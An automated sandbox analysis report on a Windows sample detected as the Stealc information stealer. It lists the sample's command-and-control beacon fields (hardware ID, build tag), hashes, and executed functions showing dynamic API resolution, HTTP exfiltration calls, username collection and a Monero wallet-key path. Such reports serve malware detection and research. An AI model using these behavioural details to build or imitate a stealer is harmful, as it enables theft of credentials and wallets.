------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="hwid"84DB54C887473625698399------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="build"doma------KJJJKFIIIJJJECAAEHDB--
Oct 2, 2024 03:10:59.743675947 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 01:10:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	21:10:55
Start date:	01/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x380000
File size:	1'878'016 bytes
MD5 hash:	44397C793B2976C5571C32B11842E395
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1701295497.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1658803350.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00399860 Relevance: 82.5, APIs: 33, Strings: 14, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00E324E8), ref: 003998A1
GetProcAddress.KERNEL32(74DD0000,00E32440), ref: 003998BA
GetProcAddress.KERNEL32(74DD0000,00E32248), ref: 003998D2
GetProcAddress.KERNEL32(74DD0000,00E324A0), ref: 003998EA
GetProcAddress.KERNEL32(74DD0000,00E322F0), ref: 00399903
GetProcAddress.KERNEL32(74DD0000,00E38F68), ref: 0039991B
GetProcAddress.KERNEL32(74DD0000,00E258D0), ref: 00399933
GetProcAddress.KERNEL32(74DD0000,00E258B0), ref: 0039994C
GetProcAddress.KERNEL32(74DD0000,00E32470), ref: 00399964
GetProcAddress.KERNEL32(74DD0000,00E32260), ref: 0039997C
GetProcAddress.KERNEL32(74DD0000,00E324D0), ref: 00399995
GetProcAddress.KERNEL32(74DD0000,00E32500), ref: 003999AD
GetProcAddress.KERNEL32(74DD0000,00E25910), ref: 003999C5
GetProcAddress.KERNEL32(74DD0000,00E32278), ref: 003999DE
GetProcAddress.KERNEL32(74DD0000,00E322A8), ref: 003999F6
GetProcAddress.KERNEL32(74DD0000,00E25890), ref: 00399A0E
GetProcAddress.KERNEL32(74DD0000,00E32308), ref: 00399A27
GetProcAddress.KERNEL32(74DD0000,00E32320), ref: 00399A3F
GetProcAddress.KERNEL32(74DD0000,00E25810), ref: 00399A57
GetProcAddress.KERNEL32(74DD0000,00E32350), ref: 00399A70
GetProcAddress.KERNEL32(74DD0000,00E25830), ref: 00399A88
LoadLibraryA.KERNEL32(00E325A8,?,00396A00), ref: 00399A9A
LoadLibraryA.KERNEL32(00E325C0,?,00396A00), ref: 00399AAB
LoadLibraryA.KERNEL32(00E32560,?,00396A00), ref: 00399ABD
LoadLibraryA.KERNEL32(00E325D8,?,00396A00), ref: 00399ACF
LoadLibraryA.KERNEL32(00E32518,?,00396A00), ref: 00399AE0
GetProcAddress.KERNEL32(75A70000,00E32548), ref: 00399B02
GetProcAddress.KERNEL32(75290000,00E32530), ref: 00399B23
GetProcAddress.KERNEL32(75290000,00E32578), ref: 00399B3B
GetProcAddress.KERNEL32(75BD0000,00E32590), ref: 00399B5D
GetProcAddress.KERNEL32(75450000,00E256B0), ref: 00399B7E
GetProcAddress.KERNEL32(76E90000,00E390E8), ref: 00399B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00399BB6

Strings

H%, xrefs: 00399AF4
NtQueryInformationProcess, xrefs: 00399BAA
`%, xrefs: 00399AB6
#, xrefs: 00399A32
`", xrefs: 0039996F
P#, xrefs: 00399A62
x", xrefs: 003999D0
p$, xrefs: 00399957
H", xrefs: 003998C5
x%, xrefs: 00399B2E
@$, xrefs: 003998AC
0%, xrefs: 00399B16
$, xrefs: 00399894
0X, xrefs: 00399A7B

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: #$0%$0X$@$$H"$H%$NtQueryInformationProcess$P#$`"$`%$p$$x"$x%$$
API String ID: 2238633743-115596743
Opcode ID: 0dbb15979f8127da16a89459921e5098375d8972816802c1c66fe9b0725fc3e3
Instruction ID: 0afa8450dcb3e2371a29d91b22d20635bc77a6efdd8a56d5291d6a3c66bfd0f3
Opcode Fuzzy Hash: 0dbb15979f8127da16a89459921e5098375d8972816802c1c66fe9b0725fc3e3
Instruction Fuzzy Hash: 30A1BFB5500A489FD308EFA8FD88E563FF9F76C309704851AE605C3225D779984AFB16

Function 003845C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0038460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0038479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003846AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003846C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003846D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003845D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003846CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003845C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003845F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003845E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0038473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003845DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0038475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0038466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0038471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0038474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0038477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0038462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003846B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384729

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: e8297b0fdb1e1be9dbb65f005cee2f66a698275bfe51c859b588e4d9419d9fe1
Instruction ID: 59f271fcaa40b288cfa0509b103bbb4aa15dd14c8d7db079c385bb17736d5413
Opcode Fuzzy Hash: e8297b0fdb1e1be9dbb65f005cee2f66a698275bfe51c859b588e4d9419d9fe1
Instruction Fuzzy Hash: 6641E5607C76047EE627BFAC98EAEDD77D6DF8B748F505046E810962C0CFB065A04636

Function 00384880 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 003847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00384839
Part of subcall function 003847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00384849

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00384915
StrCmpCA.SHLWAPI(?,00E3EA88), ref: 0038493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00384ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,003A0DDB,00000000,?,?,00000000,?,",00000000,?,00E3EAA8), ref: 00384DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00384E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00384E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00384E49
InternetCloseHandle.WININET(00000000), ref: 00384EAD
InternetCloseHandle.WININET(00000000), ref: 00384EC5
HttpOpenRequestA.WININET(00000000,00E3EA58,?,00E3DFD8,00000000,00000000,00400100,00000000), ref: 00384B15

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

InternetCloseHandle.WININET(00000000), ref: 00384ECF

Strings

------, xrefs: 00384B28
X, xrefs: 00384B07
", xrefs: 00384D33
------, xrefs: 003849BD
------, xrefs: 00384C69
", xrefs: 00384BF2

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$X
API String ID: 460715078-4062443838
Opcode ID: 86e524fae4193bfd1a1d69553fffe1b0d02171da41b9bce476d7ff24003413bf
Instruction ID: eb82dbc147df63bf3853bbf4796108b4aa75eb66df94355a39ca6133160286d9
Opcode Fuzzy Hash: 86e524fae4193bfd1a1d69553fffe1b0d02171da41b9bce476d7ff24003413bf
Instruction Fuzzy Hash: 8712D0729206189ADF16EB90DC92FEEB778BF55300F504299F10666091EF702F49DFA2

Function 00397850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003811B7), ref: 00397880
RtlAllocateHeap.NTDLL(00000000), ref: 00397887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0039789F

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 4bade1e5e5f9f6933ca1c3133ced58e060376b16a59062a1d8d7b00e3592d636
Instruction ID: 6e16944608dc63ea6d3a9f65c249c60cada6f8bcf7c3beec70a1a06307d3152a
Opcode Fuzzy Hash: 4bade1e5e5f9f6933ca1c3133ced58e060376b16a59062a1d8d7b00e3592d636
Instruction Fuzzy Hash: 27F04FB1944609AFDB00DF99DD4AFAEBFB8FB04715F10025AFA05A2680C77815048BA1

Function 00381160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0038116A
ExitProcess.KERNEL32 ref: 0038117E

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 8546a621678b8cc3be2ca66fc32eca390fbcbbb81d85b752b3c34a285384ba46
Instruction ID: ddcf895beb346e7908b5dd2dd2d339100d6328637f3f925fcba0c875c603a022
Opcode Fuzzy Hash: 8546a621678b8cc3be2ca66fc32eca390fbcbbb81d85b752b3c34a285384ba46
Instruction Fuzzy Hash: B2D05E7490030CDFCB00EFE0DC8DADDBBB8FB08315F000594D90562340EA305486CBA6

Function 00399C10 Relevance: 228.2, APIs: 112, Strings: 18, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00E25770), ref: 00399C2D
GetProcAddress.KERNEL32(74DD0000,00E25790), ref: 00399C45
GetProcAddress.KERNEL32(74DD0000,00E396A0), ref: 00399C5E
GetProcAddress.KERNEL32(74DD0000,00E396B8), ref: 00399C76
GetProcAddress.KERNEL32(74DD0000,00E39610), ref: 00399C8E
GetProcAddress.KERNEL32(74DD0000,00E39628), ref: 00399CA7
GetProcAddress.KERNEL32(74DD0000,00E2BA68), ref: 00399CBF
GetProcAddress.KERNEL32(74DD0000,00E3D3E0), ref: 00399CD7
GetProcAddress.KERNEL32(74DD0000,00E3D200), ref: 00399CF0
GetProcAddress.KERNEL32(74DD0000,00E3D218), ref: 00399D08
GetProcAddress.KERNEL32(74DD0000,00E3D2D8), ref: 00399D20
GetProcAddress.KERNEL32(74DD0000,00E257D0), ref: 00399D39
GetProcAddress.KERNEL32(74DD0000,00E25970), ref: 00399D51
GetProcAddress.KERNEL32(74DD0000,00E257F0), ref: 00399D69
GetProcAddress.KERNEL32(74DD0000,00E25870), ref: 00399D82
GetProcAddress.KERNEL32(74DD0000,00E3D278), ref: 00399D9A
GetProcAddress.KERNEL32(74DD0000,00E3D248), ref: 00399DB2
GetProcAddress.KERNEL32(74DD0000,00E2B950), ref: 00399DCB
GetProcAddress.KERNEL32(74DD0000,00E25A90), ref: 00399DE3
GetProcAddress.KERNEL32(74DD0000,00E3D2F0), ref: 00399DFB
GetProcAddress.KERNEL32(74DD0000,00E3D260), ref: 00399E14
GetProcAddress.KERNEL32(74DD0000,00E3D110), ref: 00399E2C
GetProcAddress.KERNEL32(74DD0000,00E3D320), ref: 00399E44
GetProcAddress.KERNEL32(74DD0000,00E25930), ref: 00399E5D
GetProcAddress.KERNEL32(74DD0000,00E3D0F8), ref: 00399E75
GetProcAddress.KERNEL32(74DD0000,00E3D3B0), ref: 00399E8D
GetProcAddress.KERNEL32(74DD0000,00E3D230), ref: 00399EA6
GetProcAddress.KERNEL32(74DD0000,00E3D1E8), ref: 00399EBE
GetProcAddress.KERNEL32(74DD0000,00E3D380), ref: 00399ED6
GetProcAddress.KERNEL32(74DD0000,00E3D290), ref: 00399EEF
GetProcAddress.KERNEL32(74DD0000,00E3D368), ref: 00399F07
GetProcAddress.KERNEL32(74DD0000,00E3D2A8), ref: 00399F1F
GetProcAddress.KERNEL32(74DD0000,00E3D2C0), ref: 00399F38
GetProcAddress.KERNEL32(74DD0000,00E3A3C0), ref: 00399F50
GetProcAddress.KERNEL32(74DD0000,00E3D128), ref: 00399F68
GetProcAddress.KERNEL32(74DD0000,00E3D140), ref: 00399F81
GetProcAddress.KERNEL32(74DD0000,00E259F0), ref: 00399F99
GetProcAddress.KERNEL32(74DD0000,00E3D158), ref: 00399FB1
GetProcAddress.KERNEL32(74DD0000,00E25A10), ref: 00399FCA
GetProcAddress.KERNEL32(74DD0000,00E3D170), ref: 00399FE2
